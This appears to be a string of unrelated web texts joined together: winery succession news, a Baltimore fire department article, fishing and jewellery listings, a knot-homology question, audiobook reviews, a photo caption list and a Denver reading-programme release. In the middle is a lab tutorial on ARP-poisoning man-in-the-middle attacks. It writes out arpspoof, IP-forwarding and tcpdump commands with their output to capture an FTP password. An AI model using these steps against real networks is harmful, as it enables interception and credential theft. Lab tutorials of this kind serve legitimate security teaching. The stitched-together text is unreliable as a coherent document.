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Earlier this week, Walla Walla Valley stalwart Woodward Canyon announced that winemaker Kevin Mott and sales director Thomas Woodley have become shareholders in the winery. This creates an ownership group of Rick Small and Darcey Fugman-Small; their adult children Jordan Dunn-Small and Sager Small; and now Mott and Woodley.
In announcing the change, Rick Small stated, "As we worked through succession planning, it became clear that Kevin and Thomas are integral to the operation of Woodward Canyon and to its future." Mott and Woodley both joined the winery in 2003.
The Smalls will continue day-to-day management. Indeed, for anyone who has met the irrepressibly energetic Rick Small, it is clear that he is as passionate about grape growing and winemaking as ever (read a previous post on Woodward Canyon here). While this change therefore has no immediate external impact, it does have long-term implications for Woodward Canyon – one of Washington's oldest and most storied wineries.
Elsewhere in the state, eyebrows raised last month when word that Cave B Inn and Spa in George, Washington were being put up for auction (see listing here). This facility, adjacent to Cave B Estate Winery, is one of the more majestic in the state, overlooking the Columbia River near the scenic Gorge Amphitheatre.
After speculation that the auction might be a distress sale, the winery wrote on its Facebook page, "This planned and voluntary sale event is part of the Bryan family's succession planning….We want to assure you that Cave B Estate Winery, and our winemaker Freddy Arredondo and other Bryan family members will continue to make available premium Cave B wines before and after this sale event for the foreseeable future."
Speaking with Arredondo at the Washington Association of Wine Grape Growers annual meeting earlier this month, he stated that the Bryan family has been looking to sell the inn and spa in recent years. Not having found a suitable buyer to date, they decided an auction was the best way to move forward with the sale. "We're all excited about it," Arredondo, who is the Bryans' son-in-law, said of the sale.
While the auction focuses on the inn and spa, it does include parcel options for the winery and vineyards in case the buyer wants to purchase the entire site. However, Arredondo stated that even if these parcels were sold, the brand and inventory would not be. The auction will take place March 15th.
Prior to these announcements, succession planning most recently came to the fore in Washington after the sale of Betz Family Winery last spring (Read a Focus Report on the new owners of the winery, Steve and Bridgit Griessel, here). What will succession planning look like for Washington's numerous small, family wineries? Read some thoughts posted after the Betz sale here.
Two Washington Wineries Focus on Succession Planning
Earlier this week, Walla Walla Valley stalwart Woodward Canyon announced that winemaker Kevin Mott and sales director Thomas Woodley have become shareholders in the winery. This creates an ownership group of Rick Small and Darcey Fugman-Small; their adult children Jordan Dunn-Small and Sager Small; and now Mott and Woodley.
4 comments
PaulG Says:
This is just the tip of the iceberg. Looking at U.S. wine industry growth over the past three decades, you can see how many small, family-owned boutique wineries (probably numbering in the thousands) were started by people in their 20s, 30s and 40s. Those people are now in their 50s, 60s and 70s. What if the kids don't want the business? Or if there are no kids? Unlike Europe, where traditions and family duties still carry a great deal of weight, here it's every man and woman for him/her self. Dealing with the issue of succession is probably going to be the most difficult challenge facing the greatest number of people in the wine industry for the next decade or more.
Sean P. Sullivan Says:
Paul, I could not agree more, and I believe that succession will be a particular issue for Washington in the years to come. With the vast majority of wineries producing less than 5,000 cases annually, started in the last ten years, and with often limited brand awareness outside of the Pacific Northwest, the question will be, what exactly is there to sell when the time comes?
In the last ten years, the explosive growth of the industry has been driven by people coming to the area with many entering the industry as a second or third career. Will there be a similar wave of people interested in coming in and taking over other people's wineries in the years to come when this wave looks to retire? Will these people's children be interested in taking over these businesses?
Washington has been founded upon small, family wineries where the individuals behind the winery are often an important part of the brand equity. While a critical part of the industry, this is, of course, not transferable. What will this mean when it comes time to transfer ownership of the winery?
To answer this question, I always come back to something that Bob Betz said about the sale of his winery - that quality of the wine is paramount. Everything in terms of the winery's brand builds on this. While Bob Betz has tremendous regional and even national brand equity as a person, the quality of the wine at Betz Family Winery has transcended this and allowed for what I would think was a fairly lucrative sale for the family. How many Washington wineries are in a similar position right now or will be when it comes time for succession? The number right now the number is a lot smaller than it needs to be if the industry is to continue to grow and thrive in the years to come. It will be very interesting to watch.
PaulG Says:
The sale of Betz was unique in many ways, but I would argue that the jury is out concerning the longterm viability of the brand's reputation. For five years, Bob Betz remains in charge of the winemaking. That certainly had to be of massive importance to the new owners. Where will the brand be in 10 years? We'll have to wait and see. And, as you say, without the built-in reputation and brand collateral that Betz had going into the sale, things only get a lot tougher for those grappling with succession issues.
Simon Siegl Says:
It's true that most small wineries aren't thinking of exit planning – a subject I've been raising with many owners over the last several years. Even if I get conversations started as a result of personal contact or the newsletters I've been publishing, only a few have pursued the effort seriously. To try and fix this dis-connect I interviewed eight Washington wine industry leaders who have been through ownership transitions to garner success stories as encouragement and inspiration. I've been rolling out their observations and experiences in recent newsletters and will continue in the coming months.
The big lesson in exit planning is that it takes a great deal of time – three to five years – to work through all the issues and put everything in place. Yes, the wine has to be of excellent quality, but the business has to be sound as well – whether it is to be sold to a third party or transferred to the next generation.


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Baltimore Fire Chief James S. Clack, who has been grappling with allegations of racism in his department, announced Tuesday that he is promoting two African-American officers to be his top deputies.
Clack, who is white, said he promoted the two assistant chiefs because of their qualifications, not because of race. But he stressed that the department has bolstered diversity initiatives under his leadership and he denied claims by a black firefighter's group that the department is plagued by institutional racism.
"I'm not naive enough to think that somewhere in this department, someone hasn't done something they shouldn't do," Clack said. "But as far as a culture of racism or a conspiracy to do things that they shouldn't be doing, I just don't see evidence of it. And if I ever do, believe me, I will take action swiftly and there will be serious repercussions."
Baltimore's Fire Department has for years been beset by allegations of racial bias. In April, Mayor Stephanie Rawlings-Blake announced that the Urban League and the National Association for the Advancement of Colored People would help the department increase outreach to minorities.
But last month, members of the Vulcan Blazers, an organization that advocates for black firefighters, asked U.S. Sen. Benjamin L. Cardin's office to request the Department of Justice to investigate what the group called systemic racism in the department. The Blazers said the department routinely discriminates against African-Americans in hiring, discipline and promotions, though they did not offer specific examples.
"Senator Cardin takes this very seriously and he has reached out to put the Vulcan Blazers in direct contact with [the Department of Justice] to ensure that all the information that is needed is available so that this is addressed as promptly as possible," said Susan Sullam, a spokeswoman for the senator.
Clack said he was "surprised" by the Blazers' allegations and that he frequently meets and speaks with the group's leader to address concerns. He rebutted the group's claims of widespread discrimination, and said he would take action if presented specific charges.
"If there's something to grab onto, I will grab onto it like a pit bull," Clack said. "But if I don't have anything to grab onto, it's kind of like swatting in the air. I don't have any way to address the issue."
Henry Burris, the president of the Vulcan Blazers, said department officials should have done more before now. "Rather than addressing these issues, the Fire Department has allowed an increase in the issues and has exacerbated the disparate treatment during the years [Clack] has been here," Burris said.
He said he was not calling on Clack to resign.
"I'm not attacking Chief Clack, I'm attacking the Fire Department and what it's consistently doing," he said.
In announcing the promotions of the two African-American officers, Clack said Tuesday that Jeffrey Segal, a deputy chief, will become assistant chief for operations. Segal will replace Donald Heinbuch, a 41-year veteran of the department who is retiring due in part to health issues, Clack said.
Clack also said that Dickson Henry, a deputy chief, will become assistant chief of planning and administration. That position had been eliminated due to budget cuts a couple years ago, but Clack said that he is resurrecting it.
The fire chief denied rumors that he is contemplating leaving the department.
"I'm very happy the mayor was just re-elected and I hope she keeps me for four more years," Clack said. "I'm not going anywhere. I love Baltimore and I love this department."
After gaining national attention as the Minneapolis fire chief during a major 2007 bridge collapse, Clack was hired by then-Mayor Sheila Dixon in 2008. He arrived at a department that had been thrown into turmoil by the death of a recruit during a training exercise that violated dozens of federal standards.
In the past three years, Clack said, he has strived to improve race relations in the department — an issue in many cities. Many firefighters follow their fathers or grandfathers into the profession — leading to large numbers of white firefighters in once-segregated departments. And departments nationally have found it difficult to recruit minorities.
Last summer, Clack moved Lloyd Carter, the African-American head of the training academy, into a newly created position to boost recruitment efforts, particularly among city residents and African-Americans.
Carter, a past president of the Blazers, is among those who have called for a Justice Department investigation.
In a recent interview, Carter said the department "is just dominated by white males" and that the climate has not improved enough under Clack.
"I think he's doing the best he can, but what he is doing isn't good enough," Carter said.
Clack expressed surprise at Carter's allegations, saying that Carter is among those with whom he frequently consults to be sure that department practices are racially equitable.
Clack rebutted the Blazers' claims that the department failed to hire enough African-Americans, pointing to statistics showing that about one-third of the members of the two most recently hired classes of recruits are minorities.
Clack said he has implemented strict — and universally applied — guidelines for discipline, replacing a system that allowed captains to mete out punishments at their discretion. The new system has caused many complaints, Clack said, because some firefighters had been accustomed to less rigid systems of discipline.
The fire chief also denied the Blazers' allegations of racial discrimination in promotions. Most promotions are based on scores on a written test, Clack said, and are overseen by the city's human resources department.
"It's handled in a very structured way," he said. "Whoever does the best on the test gets promoted."
The chief said he had the discretion only to promote firefighters to a dozen at-will positions — including the promotions he announced Tuesday. One-third of those dozen positions are held by African-Americans, he pointed out.
Clack said he supported the Blazers' mission — and is a dues-paying member of the organization — but wished that they would bring specific concerns to his attention so that he could remedy them.
"I think the purpose of the organization is noble, but I don't think what is going on here has any validity," he said.
Baltimore Fire Chief James S. Clack, who has been grappling with allegations of racism in his department, announced Tuesday that he is promoting two African-American officers to be his top deputies.

subset: commoncrawl


text:
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text:
The split tail common was caught for the first time in over 2 years at 43lb 8oz. This means there are 8 commons over 40lb now. There were also 2 new 50lb + mirrors caught .
Since 2002 there have been several stockings including in November 2002 of fifty eight carp averaging 35lb, December 2003 of fifty two carp averaging 25lb, March 2005 of thirty five carp averaging 32lb, in 2008 fifty five carp were stocked averaging 22lb, and in 2010 fifty home grown, handpicked carp raised in our stock pond were put in the lake, these fish are beautifully scaled mirrors and commons and are growing rapidly, putting on 4 -6lb a year. In December 2013 we personally selected six fish weighing between 35lb and 40lb including a stunning 40lb common. There is now a huge stock of carp in Redmill, with the latest stocking of 30 carp averaging 35lb including a 44lb common.
There is now a large head of 30lb, and many 40lb fish, with a number of those being upper 40's. There are 10 known 50's, including a 50lb common and a lake record of 61lb 2oz, and they are growing all the time.There is also Grass Carp to 40lb+ and Cats exceeding 120lb, but be warned you will need to step up your gear for them, alternatively we have specialist Cat Gear available to hire should you wish to have a try for these lumps. There are no Poisson Chat and very few crayfish to interfere with your baits.
Redmill is not the place to come if you want to catch the giants, but it can be incredibly prolific on its day with the right tactics, just take a look at the Catch Reports.
The fish are in immaculate condition, thanks to the care our guests take, and we intend to keep it this way. They also fight extremely hard! Being a soft bottom the fish have developed soft mouths, so it pays to play them gently or you may get a few hook pulls. Care of the fish is very important to us so all anglers are supplied with a carp cradle, giant unhooking mat and a recovery weigh sling. There is no rental charge but a deposit of 40 pounds or 50 euros is required.


text:
DescriptionCobalt 6 mm Wide, Brush Finish with High Polish Edge, Contemporary Design
Cobalt is a hard, scratch resistant, hypoallergenic material that is 4 times harder than platinum and 5 times harder than gold. It is shatterproof and will never chip, crack or discolor. Cobalt ring cannot be resized. Cobalt is offered in its natural white or with a black DLC coating. The black coating is baked onto the cobalt at very high temperatures creating a durable scratch resistant, hypoallergenic coating.


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I'm interested in Lee's modification of Khovanov homology, which I'll denote $\operatorname{Kh}_{\operatorname{Lee}}^\ast$. Below $L$ is a link in $\mathbb R^3$.
The groups $\operatorname{Kh}_{\operatorname{Lee}}^\ast(L)$ for a link $L$ are very simple: there is an isomorphism:
$$\bigoplus_{\text{orientations of }L}\mathbb Q\to\operatorname{Kh}_{\operatorname{Lee}}^\ast(L)$$
I write the left hand side as I do and not simply as $\mathbb Q^{\oplus 2^{\left|L\right|}}$ because given an orientation of $L$ (and a diagram of $L$), there is in some sense a natural choice of element of $\operatorname{Kh}_{\operatorname{Lee}}^\ast(L)$ (and these elements form a basis of $\operatorname{Kh}_{\operatorname{Lee}}^\ast(L)$). However, this map not natural in the sense of being functorial.
But it's really really close to being functorial! Rasmussen proved (see Khovanov homology and the slice genus Proposition 4.1) that if we identify $\operatorname{Kh}_{\operatorname{Lee}}^\ast(L)$ with $\bigoplus_{\text{orientations of }L}\mathbb Q$, then under a cobordism from $L_1$ to $L_2$, a orientation on $L_1$ is sent to a linear combination of the orientations on $L_2$ which extend to an orientation of the cobordism agreeing with the input orientation on $L_1$. This should be viewed as a sort of approximate functoriality, and the result has been slightly refined by Rasmussen here.
My question is: has $\operatorname{Kh}_{\operatorname{Lee}}^\ast$ been calculated as a functor? In other words, do we know a canonical way of mapping $\bigoplus_{\text{orientations of }L}\mathbb Q$ to $\operatorname{Kh}_{\operatorname{Lee}}^\ast$ so that the maps associated to arbitrary cobordisms are described elementarily in terms of orientations?
This doesn't seem to be a deep problem; it comes down to writing down the generators explicitly in the chain complex defining $\operatorname{Kh}_{\operatorname{Lee}}^\ast(L)$, and checking what happens when we do a Reidemeister move or Morse move. However the calculations are kind of messy, and this is presumably why Rasmussen didn't pursue the point further (at least, not that I am aware of). But the last paper of his referred to above was in 2005, so I'm guessing that someone has probably straightened this out since then. I've been unsuccessful in finding a reference, though.


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Many times I have heard: it is not not such a big deal, you know what? I have a good antivirus which protects my computer! And on top of all that, the Windows firewall is activated! At that moment is when I put poker face...
Most of the administrators think that by having a well-configured firewall, an IDS, an antivirus, etc., is enough to shield the network from external threats, but it turns out that around 70 or 80 percent of all attacks come from the own internal network.
Please, note that the things which I am going to explain throughout these articles, can be a cause of crime, so you will be the last responsible if you put them into action with bad intentions. The reason because I want to tell this is, on the one hand, due to it is good that you know the danger of connecting to an unreliable network, and on the other, because I will take advantage of this in order to show you how to avoid it.
To begin with, let's get started by saying how ARP works (Address Resolution Protocol). Basically, this protocol is used to associate MAC and IP addresses.
For example, one computer wants to know the MAC address of a router. In this case, that computer gives off a message to the network by asking who has the IP address of that router (ARP request). Then, only the router responds to the computer with its MAC address (ARP reply).
Hereafter, the computer stores into its MAC table (temporary) the IP and MAC address of the router. ARP poisoning, as its name suggests, is to manipulate the MAC table of the victim by injecting fake ARP packets.
What kind of attacks can derive from this situation? For instance, the well-known Man in the Middle attack (MitM).
Below you can see the environment which I will hold for my tests. Victim and attacker are an Ubuntu 10.11, and ubuntu-server is an Ubuntu Server 11.10 release.
In my first case, I am going to put the attacker computer intercepting all communications between ubuntu-server and victim. To be more precise, the victim will connect to a FTP service installed on ubuntu-server and the attacker will try to capture the password. Remember this sort of protocol, also such as HTTP, SMTP, POP3, etc., the credentials are passed down in clear.
So that the attacker node can work as a tranparent bridge, the IP forwarding must be enabled on it. Furthermore, we have to install the dsniff package which contains the arpspoof tool, program that will be used to poison both computers (client and server).
root@attacker:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@attacker:~# aptitude install dsniff
Let's take a look at their ARP tables before modifying them. As you may appreciate, both computers have registered the correct MAC addresses.
javi@ubuntu-server:~$ arp -a
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.10) at 00:0c:29:69:81:47 [ether] on eth0
javi@victim:~$ arp -a
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.11) at 00:0c:29:18:36:e6 [ether] on eth0
Next step is to alter those tables by transmitting fake ARP frames.
root@attacker:~# arpspoof -i eth0 -t 192.168.1.10 192.168.1.11
0:c:29:20:9f:9b 0:c:29:69:81:47 0806 42: arp reply 192.168.1.11 is-at 0:c:29:20:9f:9b
root@attacker:~# arpspoof -i eth0 -t 192.168.1.11 192.168.1.10
0:c:29:20:9f:9b 0:c:29:18:36:e6 0806 42: arp reply 192.168.1.10 is-at 0:c:29:20:9f:9b
If we output the ARP tables again, we can see that the entries have been changed.
javi@ubuntu-server:~$ arp -a
? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] on eth0
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.10) at 00:0c:29:20:9f:9b [ether] on eth0
javi@victim:~$ arp -a
? (192.168.1.11) at 00:0c:29:20:9f:9b [ether] on eth0
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] on eth0
At this point, the attacker is ready to sniff all traffic between the implicated nodes. To simplify the test, just the FTP data will be picked up. In this case, I am dumping all FTP packets within a text file with tcpdump, so as to be able to analyze them before with Wireshark. I could also use Wireshark directly by means of a filter.
root@attacker:~# tcpdump -ni eth0 port 21 -s0 -w ftp.pcap
Last step is to establish a FTP session between victim and ubuntu-server.
javi@victim:~$ ftp 192.168.1.11
Connected to 192.168.1.11.
220 (vsFTPd 2.3.2)
Name (192.168.1.11:javi): javi
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
Now we are going to open the captured file through Wireshark. As you can distinguish, the password has been catched.
In addition, if you follow the TCP stream, you will be able to find out that there are several retransmissions. That occurs because the attacker has to forward the TCP/IP packets. This sequence would come out as well if you run tcpdump on ubuntu-server.
And finally, also mention that if IP forwarding was not activated, we would be causing a Denial of Service attack (DoS), due to the communication would be cut out.


text:
Listen free for 30 days
Clerks meets Buffy the Vampire Slayer in this original urban fantasy book about Geekomancers - humans that derive supernatural powers from pop culture.
Ree Reyes's life was easier when all she had to worry about was scraping together tips from her gig as a barista and comic shop slave to pursue her ambitions as a screenwriter.
When a scruffy-looking guy storms into the shop looking for a comic like his life depends on it, Ree writes it off as just another day in the land of the geeks. Until a gigantic "BOOM!" echoes from the alley a minute later, and Ree follows the rabbit hole down into her town's magical flip-side. Here, astral cowboy hackers fight trolls, rubber-suited werewolves, and elegant Gothic Lolita witches while wielding nostalgia-powered props.
Ree joins Eastwood (aka Scruffy Guy), investigating a mysterious string of teen suicides as she tries to recover from her own drag-your-heart-through-jagged-glass breakup. But as she digs deeper, Ree discovers Eastwood may not be the knight-in-cardboard armor she thought. Will Ree be able to stop the suicides, save Eastwood from himself, and somehow keep her job?
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Reviews - Please select the tabs below to change the source of reviews.
- Philip
- South Norwood, United Kingdom
- 10-04-13
Not a bad book, but a HORRIBLE reader
I was looking forward to this book after I read about it elsewhere, and after downloading it I put it near the top of my "listening queue", that was until I started listening - Julia Farhat ranks as one of the worst narrators I've heard on audio books, and that's going back quite a few years (to when they were on cassette) - she reads the book as though a child is reading, with slight pauses between each word, and although some of her characterisation isn't bad, the reading of the descriptive parts is just painful
The book itself is an interesting idea, with magic being "powered" by the genres (sci-fi, fantasy, etc), and it being a "secret world all around us" (what isn't, these days), it could have been a geek's dream book, instead it's nearly ruined by the horrible narration, and I truly hope this was her first book and that she's got better over the other books she's narrated on here, because if this is her standard manner then I know I'll be avoiding those books (having listened to a few samples, some are better, but quite a few are in this tone)
Can the list of narrators be that limited that people come back to Julia from lack of availability, or is it that she's cheap compared to the others? Whatever the reasons, I know that I'll be listening to samples before buying, because I don't think I could make it though more books in this tone
Anyway, my advice would be to actually read this book rather than suffer through the terrible reading that this book has been subjected to - only buy this if it's on a deal, because as a full price book, you will probably be disappointed, and all because of the reading
1 of 1 people found this review helpful
- Niall
- Manchester, United Kingdom
- 30-05-14
Pretty good, better if you're geeky
Actually, this probably deserves a little more than 3 stars, and on Amazon (where the scale is different) I'd give it 4. With the style settled, I suspect that the future novels in the series might be a little better. For the first time in a couple of books I am inclined to consider finding out.
On the plus side we have a feisty, geeky heroine who discovers that magic is real (and weird) and sets out on a quest to save people from forced suicide (and there's a twist, of course). I liked Rhi. I liked the conception behind it all. I liked the role-playing game references.
And there-in lies my issue. I didn't think it was going to be an issue, but damn it if I didn't find myself wondering whether White Wolf had considered suing over copyright. There have been other works of fiction which have sounded like someone lifted them right of the the pages of Mage: The Ascension (The Matrix, Dark City), but Geekomancy is pretty much a novelised version of the game. That is both awesome (it's a great game) and annoying.
In short, well worth a read, especially if you get all the pop-culture references. I'm very much hoping that Underwood's style will settle a little for the follow-ups, which I'll very probably put on my waiting list.
- Andrew
- LondonUnited Kingdom
- 18-05-13
Great concept poor execution
Great idea might be a better read -the narrators voice is annoying and leads to u wanting to tune out - no idea how it ends I couldn't listen any longer
- Tracey
- 29-03-13
Only geeks need apply!
This is one of the best urban fantasy books I have read all year (and yeah, it is only March, but after several disappointing UF books the past few weeks, this was REFRESHING.)
This book will NOT appeal to everyone, hence my headline. There may be some people who aren't geeky who will find this book interesting if not excellent, but given the number of "in" jokes and references, you would be like a young child watching "The Simpsons", missing the allusions that make it a truly funny show. If you, when hearing the narrator quote Adam Baldwin (Jayne's "smellin' a lot of 'if' comin' off this plan) and you find yourself wondering which one of the Baldwin boys Adam is, this book probably isn't for you.
The protagonist is a 20-something barista/screen writer who becomes enmeshed in a magical world where one can gain short-term magical abilities by watching media (every geek's dream, right?) I won't go any further, as I do not want to give anything away, but I found the plot exciting, full of action scenes and intriguing, unique characters. One warning, there are several descriptions of teenage suicides, which might be a delicate topic for some, so be forewarned.
This is a fun romp if you don't over think (yes, I know, difficult for any card-carrying-geek) how the magic actually works (such as, why does Ree only start manifesting the talent after meeting Eastwood.)
I didn't want this to end and hope there are MANY more books of this caliber in the series.
Farhat does an excellent job bringing the characters to life.
16 of 16 people found this review helpful
- jorge
- 15-01-15
Good story, shitting shit narration.
Would not listen to another book read by this narrator. was really hard to hear sometimes and voice could be grating at moments.
5 of 5 people found this review helpful
- Kindle Customer
- 21-07-14
Awful Narration, Returned
I wanted some brain candy while I did chores, just a little something to keep me company while washing dishes or mowing the lawn. I'm a bit of a geek myself, so I thought this would fit the bill...
Except the narration was so awful, I couldn't even finish the first chapter. The reader's uninflected, nasal whine was a constant grind on my nerves, like a mosquito in my ears until I finally just broke.
I'm still interested in the story, so I may pick it up for kindle instead, but it will be a while before I read it, just to make sure her voice is well out of my head by then.
5 of 5 people found this review helpful
- H. Laurence Lareau
- 20-04-13
Great story destroyed by robotic performance
Would you say that listening to this book was time well-spent? Why or why not?
Reading this book -- you know, with glasses and lights on and everything -- would be fantastic fun. Listening to it was agonizing. I would've preferred Steven Hawking's "voice" to Julia Farhat's. And I just hate to say harsh things about people who have worked so hard.
Who was your favorite character and why?
The protagonist was vividly drawn and had a hilariously fresh, alluringly feminine style. Underwood did a great job telling the story from a feminine perspective -- I didn't check to see that he was a dude until the book was over. Then I about fell in a heap from shock.
How did the narrator detract from the book?
The narrator was obsessed with uttering each sound for every word, as though she were an advanced yet non-natvie English speaker working diligently to cultivate a precise, academic California accent. It was much more a cue-card reading than a bring-it-to-life performance. She also sounded congested for much of the book. I'm sure she has much stronger performances ahead of her.
Could you see Geekomancy being made into a movie or a TV series? Who should the stars be?
My pick for the star would be the amazingly attractive model who posed for the cover art. Zowie!! Heck, let's hope that's Julia Farhat.
20 of 23 people found this review helpful
- Amazon Customer
- 15-07-14
Terrible recording!
The story is off to a good start - I've only listened to the first few lines - but the recording is terrible! It fades in and out and is such a distraction I don't know if I'll be able to finish listening.
9 of 10 people found this review helpful
- Aaron
- 05-04-13
I am such a geek, I picked up on about 95% of all the references made in this delightful story. From comics to television to movies, Star Wars, BSG, DC Comics, and Magic the Gathering collector cards. What a witty fast paced ride. Weather you are a geek of the highest Jedi Order or a relative newbie you will be hugging yourself with a warm fuzzy feelings as Firefly, Buffy the Vampire Slayer ("Once More with Feeling" anyone?), Star Wars laser discs, or BBC's Sherlock references are made.
What pulpy geeky fun this is. I hope this author produces more of series. Great female protagonist, Ree may have her problems but overall a kick@ss character. A great cast of characters, the steampunk adventurer, the burnt out Eastwood, the Thrice retconned Duke of Hell all fabulously hilarious.
Julia Farhat wouderfully and gleefully brings these characters to life.
9 of 10 people found this review helpful
- Amazon Customer
- 12-05-13
Like Pulling Teeth
In order to finish this book, I had to stop listening to this audiobook and switch to my Kindle for the written version. The performance is awful. The narrator has an annoying high pitched voice and her readings are stilted and unnatural. I literally couldn't get through the first chapter.
11 of 13 people found this review helpful
- Julia
- 02-05-13
Girl-geeks are not kawaii
What could have made this a 4 or 5-star listening experience for you?
The book needs a decent narrator. Farhat's cutesy, whiny, valley-girl affectation made it impossible to enjoy the story. I've ordered the print book, and I'm sure I'll like it.
What was your reaction to the ending? (No spoilers please!)
I couldn't get past the first chapter; the narration is that terrible.
What didn't you like about Julia Farhat's performance?
She read the book as if she were voicing an adorable but dim anime character. I kept getting the mental image of a cute little girl, wearing a confused expression, blinking her wide eyes while searched for the "any key". Not only was nauseating, it was completely incongruous with the narrative.
Any additional comments?
After some manipulation and a fair amount of geekery, I found that bending the pitch down to 89% of normal and setting playback speed to 129% made it almost bearable. Almost.
12 of 15 people found this review helpful
- John
- 21-11-14
Possibly a good book. The recording is unbearable
What would have made Geekomancy better?
The style and writing was intriguing and I was looking forward to the recording getting better, but it didn't. I actually liked the narrator's voice quality and style, but it FAdEs IN aND oUt aND tuRNS AN othERwISe PLEasant VOicE into a completely insufferable mess. I'm not sure if it's Ms. Farhat's natural volume control, crappy microphones or horrible engineering, but unless you have audio equipment with some sort of dynamic range control, I wouldn't recommend even attempting this audio book.
Would you ever listen to anything by Michael R. Underwood again?
Not at this point. I'm going to get a paper copy of the book and see how it stands up. I might consider something with another narrator, but if it's an issue with the studio that produced it, I'll stick with paper.
How could the performance have been better?
More consistent levels on the recording. The volume swings are intolerable.
What character would you cut from Geekomancy?
Don't know. I didn't get far enough into it to know any of the characters
Any additional comments?
I should have read the reviews first. A lot of people have had similar complaints.
2 of 2 people found this review helpful
- Joel
- 13-04-14
Narrators voice made me grit my teeth
What did you love best about Geekomancy?
The story, it's a good story
Who was your favorite character and why?
Ree. Obviously she's the primary character...but she's fun, witty, sexy, sweet, and something that every nerd wishes the girls he built up the courage to talk to would turn out to be.
Who would you have cast as narrator instead of Julia Farhat?
Anyone. Her pitch was just at that level that felt like nails on a chalkboard
Was there a moment in the book that particularly moved you?
Any additional comments?
2 of 2 people found this review helpful


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< Back to collections by Erich Hartmann
Erich Hartmann - FRANCE. Train journey through Europe.
FRANCE. Pau. 1979. Woman looking out of hotel bedroom window.
FRANCE. Dijon. 1979. A man eats in a dining car as people pass on the platform of the Dijon train station.
FRANCE. Aix-les-Bains. 1979. A young family embraces on the train platform.
FRANCE. Narbonne. 1979. People embrace through a train window.
FRANCE. 1979. A woman boards a train in a small town between Villefranche and La Tour de Carol in Southern France.
FRANCE. Libourne. 1979. A man in a beret waits on a station platform.
FRANCE. Cagnes-sur-Mer. 1979. The house of painter, Pierre-Auguste Renoir.
FRANCE. Nice. 1979. A passenger and porter with a luggage cart rush for a train.
FRANCE. Chamonix. 1979. A terrace overlooks mountains and the Mer de Glace glacier.
FRANCE. Carcassonne. 1979. Fortifications of the medieval city.
FRANCE. Poitiers. 1979. Cathedral of St. Pierre.
FRANCE. 1979. Clos Luce. Amboise. Last residence of Leonardo da Vinci.
FRANCE. 1979. Train in mountainous landscape in soutwestern France, between La Tour de Carol and Foix.
FRANCE. Annecy. "Le Palais de l'Ile" on the river Thiou. 1979.
FRANCE. Train journey through Europe. 1979.
FRANCE. Carcassonne. 1979.
FRANCE. Chambery. 1979. People waiting on train station platform.
FRANCE. 1979. Chateau Chambord.
FRANCE. 1979. Chateau Chaumont/Loire.
FRANCE. 1979. Chateau de Chenonceau.
FRANCE. 1979. Chateau de Chenonceau.
FRANCE. Biarritz. 1979.
FRANCE. Annecy. 1979.
FRANCE. Chamonix. 1979.
FRANCE. Carcassonne. 1979. Fortifications of the medieval city.
FRANCE. 1979. Landscape and highway seen from a moving train.
FRANCE. 1979. Hikers, forest, and stream seen from a moving train in Southern France.
FRANCE. near Tours. 1979. Grove of poplar trees reflected in window of moving train.
FRANCE. Chateau d'Amboise. 1979. Dog at ticket window of chateau.
FRANCE. Poitiers. 1979. Child running, grocery basket with bread.
FRANCE. Poitiers. 1979. Street scene reflected in window.
FRANCE. Narbonne. 1979. Man running for train.
FRANCE. Annecy. 1979. Swan on lake, misted mountains beyond.
FRANCE. Annecy. 1979. Laundry hanging in window with shutters.


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Voters choose "The Art of Racing in the Rain" for One Book, One Denver
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Garth Stein's bestselling novel "The Art of Racing in the Rain" won the eighth annual One Book, One Denver program, Denver Mayor Michael Hancock announced this morning.
The story of a philosopher dog and his race car-driving owner, "The Art of Racing in the Rain" beat Jamie Ford's "Hotel on the Corner of Bitter and Sweet" and Rebecca Skloot's "The Immortal Life of Henrietta Lacks" to win online voters' approval as the must-read tome of the fall.
The Denver Public Library will circulate 1,100 copies of "The Art of Racing in the Rain" through its system, and the Library reports that 500 of those copies have already been reserved by One Book, One Denver enthusiasts since the candidates were announced the first week of June.
Full details of the contest and its related cultural events are below in the City's press release.
Scavenger Hunt, Partnerships & Associated Programming
DENVER, CO — SEPTEMBER 1, 2011 — Mayor Michael Hancock and Arts & Venues Denver today unveiled the 2011 One Book, One Denver selection, as determined by public vote. This year's choice is The Art of Racing in the Rain by Garth Stein. Details on a new scavenger hunt, partnerships and associated programming were shared by the Mayor at the new Denver Animal Shelter.
This is the eighth year of One Book, One Denver, Mayor Hancock's citywide book club, building community through the shared experience of reading the same book. Denver citizens are encouraged to participate in the program by checking out or purchasing the book and attending related events through October 31.
Denverites love their dogs, so the selection was no surprise. The book is about Enzo, a dog who knows he's different. Through his master, race car driver Denny Swift, he sees that life, like racing, isn't simply about going fast.
"One Book, One Denver is a longstanding City initiative which looks to develop a culture of reading through a shared citywide experience," said Mayor Hancock, "I am proud to continue such a worthy tradition."
As an ongoing, key collaborator in this program, the Denver Public Library will circulate 1,100 copies of The Art of Racing in the Rain through its system. Almost 500 of those copies have already been reserved by One Book, One Denver enthusiasts.
As this year's major cash sponsor, McDonald's is providing 1,100 of the books being circulated through the Denver Public Library system, as well as numerous promotional benefits. They include:
– A coupon for a FREE medium Frappé or Smoothie on 10,000 One Book, One Denver bookmarks, good through the end of the year
– Thousands of One Book, One Denver promotional tray liners for use in metro Denver McDonald's restaurants
Participation in the NEW One Book, One Denver Scavenger Hunt to include prizes in several of the hidden books
For the new One Book, One Denver Scavenger Hunt, 40 wrapped copies of The Art of Racing in the Rain were placed today at the 16th & Cleveland McDonalds and The Oxford Hotel & Spa. The books are wrapped in red wrapping paper and are hidden in public spaces throughout each location. There is a limit of one book per person. A sign will be placed outside each location once all books have been found.
In their third year of partnership, The Oxford Hotel & Spa will host a breakfast book discussion and have hidden prizes in several of the books at their location. Stop by the hotel to receive special offers good at The Oxford Hotel and The Oxford Club, Spa & Salon.
Whatever one enjoys, there is something for everyone during the 2011 One Book, One Denver. Choose your own adventure:
– Film series at Denver Film Center/Colfax
– Cooking classes at The Seasoned Chef Cooking School
– Craft classes presented by Ceramics in the City
– Writers workshops presented by Lighthouse Writers Workshop
– Teen Writing Contest presented by Lighthouse Writers Workshop
